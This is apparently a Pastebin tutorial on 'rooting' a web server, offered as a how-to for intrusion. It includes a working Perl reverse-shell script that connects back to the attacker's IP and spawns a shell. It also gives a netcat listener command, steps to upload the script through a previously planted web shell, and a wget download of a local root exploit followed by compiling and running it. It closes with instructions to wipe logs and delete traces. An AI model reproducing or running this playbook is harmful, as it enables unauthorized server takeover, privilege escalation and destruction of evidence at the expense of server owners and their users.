Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Rooting a Webserver
- In this guide, I will teach you how to root a web server.
- Before we start, you will have to forward port 1337 & download netcat.
- Port 1337 will be used as port on which will our computer communicate with server.
- Firstly, open text editor and paste following code into it:
- Code:
- #!/usr/bin/perl
- use Socket;
- use FileHandle;
- $IP = "YOUR IP HERE";
- $PORT = 1337;
- socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
- connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
- SOCKET->autoflush();
- open(STDIN, ">&SOCKET");
- open(STDOUT,">&SOCKET");
- open(STDERR,">&SOCKET");
- system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
- echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
- system("/bin/sh -i");
- Now replace "YOUR IP HERE" with your own IP address. Save it as back.pl & close.
- This script is going to make sure that server makes successful connection with your computer, while netcat accepts.
- Next, open netcat and type:
- Code:
- nc -vv -l -p 1337
- Netcat will now start listening to incoming connections on port 1337.
- Open up your web browser and navigate to your shell. Upload back.pl and execute it with following command:
- Code:
- perl ./back.pl
- Switch back to your Terminal/CMD prompt and see if connection is established.
- Now, we need to get kernel's version. To obtain this information, execute:
- Code:
- uname -r
- It will print out the current kernel's version. From here on, you will have to find "local root exploit" for that kernel on google.
- After you found it, use wget to download it to current directory. For example:
- Code:
- wget http://site.com/exploit.c
- Compile & run it:
- In case exploit is already compiled, skip first command.
- Code:
- gcc exploit.c -o exploit
- chmod +x ./exploit
- ./exploit
- After it loads, you should have root access to web server. Check it by typing:
- Code:
- whoami
- Result should be "root", if not - something went wrong.
- Congratz! You have just rooter a web server! From here on, do whatever you want. Whole server is yours.
- BEFORE you exit, you might want to delete logs and hide your traces much as possible.
- Download & upload lognuke.pl to web server trough shell. Then, navigate to it trough netcat.
- Run lognuke.pl and wait till it deletes all logs it can.
- When you are done with your work, delete back.pl, lognuke.pl & exploit you ran. That would be all.
- see more : https://www.facebook.com/Hacker.Guelma24?ref=hl
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement